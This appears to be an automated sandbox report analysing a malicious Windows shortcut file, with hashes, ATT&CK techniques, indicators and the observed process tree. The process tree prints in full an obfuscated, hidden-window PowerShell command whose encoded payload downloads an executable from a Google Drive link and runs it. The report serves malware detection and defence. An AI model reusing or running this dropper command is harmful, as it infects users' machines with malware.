95ca946aef501e5114c26cb6ef895dbc29761b4f7d6bbccc22e4bfbde1be6759

General

Target

fc1006824cb66d17c68f1ffa53b37c4b_JaffaCakes118.lnk
Size

3KB
MD5

fc1006824cb66d17c68f1ffa53b37c4b
SHA1

c54b745011bccb3d068ba74a4e543cb2de1043a4
SHA256

95ca946aef501e5114c26cb6ef895dbc29761b4f7d6bbccc22e4bfbde1be6759
SHA512

1d14c5b3058c994cf542807a4341510453fda81ea9a67cfc5038b2f8fc5e80fca3271c44a9c937d2366a140e197ec605bf280a18278cae6886fa939fb28053c0

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=0B3AM8u080I_Pb2I2dXdkaUxHWm8

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	4760	powershell.exe
13	4760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3096	powershell.exe
4760	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	cmd.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2008	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
9	drive.google.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3096	powershell.exe
3096	powershell.exe
4760	powershell.exe
4760	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3096	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3672 wrote to memory of 3096	3672	cmd.exe	83
PID 3672 wrote to memory of 3096	3672	cmd.exe	83
PID 3096 wrote to memory of 2008	3096	powershell.exe	84
PID 3096 wrote to memory of 2008	3096	powershell.exe	84
PID 2008 wrote to memory of 4760	2008	cmd.exe	85
PID 2008 wrote to memory of 4760	2008	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\fc1006824cb66d17c68f1ffa53b37c4b_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cMD /c PowERShelL.ExE -eXEcUtiOnPoLIcy byPass -WIndowSTyLE HIddeN -ENCoDeDcOMMaNd IAAoAE4AZQB3AC0ATwBCAEoARQBjAHQAIABTAFkAcwBUAEUATQAuAG4ARQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAwAEIAMwBBAE0AOAB1ADAAOAAwAEkAXwBQAGIAMgBJADIAZABYAGQAawBhAFUAeABIAFcAbQA4AB0gIAAsACAAHSAkAEUAbgB2ADoAYQBwAHAAZABBAHQAYQBcAHYAdgByAGUAYQBkAGUAcwB4AHQALgBlAHgAZQAdICAAKQAgADsAIABpAG4AdgBvAEsARQAtAEkAdABlAG0AIAAdICQAZQBuAHYAOgBhAHAAUABkAGEAVABhAFwAdgB2AHIAZQBhAGQAZQBzAHgAdAAuAGUAeABlAB0g
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c PowERShelL.ExE -eXEcUtiOnPoLIcy byPass -WIndowSTyLE HIddeN -ENCoDeDcOMMaNd IAAoAE4AZQB3AC0ATwBCAEoARQBjAHQAIABTAFkAcwBUAEUATQAuAG4ARQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAwAEIAMwBBAE0AOAB1ADAAOAAwAEkAXwBQAGIAMgBJADIAZABYAGQAawBhAFUAeABIAFcAbQA4AB0gIAAsACAAHSAkAEUAbgB2ADoAYQBwAHAAZABBAHQAYQBcAHYAdgByAGUAYQBkAGUAcwB4AHQALgBlAHgAZQAdICAAKQAgADsAIABpAG4AdgBvAEsARQAtAEkAdABlAG0AIAAdICQAZQBuAHYAOgBhAHAAUABkAGEAVABhAFwAdgB2AHIAZQBhAGQAZQBzAHgAdAAuAGUAeABlAB0g
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowERShelL.ExE -eXEcUtiOnPoLIcy byPass -WIndowSTyLE HIddeN -ENCoDeDcOMMaNd IAAoAE4AZQB3AC0ATwBCAEoARQBjAHQAIABTAFkAcwBUAEUATQAuAG4ARQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAwAEIAMwBBAE0AOAB1ADAAOAAwAEkAXwBQAGIAMgBJADIAZABYAGQAawBhAFUAeABIAFcAbQA4AB0gIAAsACAAHSAkAEUAbgB2ADoAYQBwAHAAZABBAHQAYQBcAHYAdgByAGUAYQBkAGUAcwB4AHQALgBlAHgAZQAdICAAKQAgADsAIABpAG4AdgBvAEsARQAtAEkAdABlAG0AIAAdICQAZQBuAHYAOgBhAHAAUABkAGEAVABhAFwAdgB2AHIAZQBhAGQAZQBzAHgAdAAuAGUAeABlAB0g
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Window

1

T1564.003

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
bb925cc5c32a817b61b5a68f00475ac2

SHA1
368bbcd93d46036334f385fe80a6315130a873f4

SHA256
cab89442f228f263a88d3db648093b2389fa2676ee3f95fccdd7c9574a8e1c11

SHA512
69688f4277b0dfdeca560166776ecc74ae2933d6808e849ac60e0eb2310333d37e6216edb23737459a0e2395594a1cd579bccd008499e08526393d96315b4634

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vabcc1bf.hhq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3096-2-0x00007FFDAEC63000-0x00007FFDAEC65000-memory.dmp

Filesize
8KB

Download
memory/3096-8-0x000001D166F30000-0x000001D166F52000-memory.dmp

Filesize
136KB

Download
memory/3096-13-0x00007FFDAEC60000-0x00007FFDAF721000-memory.dmp

Filesize
10.8MB

Download
memory/3096-14-0x00007FFDAEC60000-0x00007FFDAF721000-memory.dmp

Filesize
10.8MB

Download
memory/3096-29-0x00007FFDAEC60000-0x00007FFDAF721000-memory.dmp

Filesize
10.8MB

Download

Analysis

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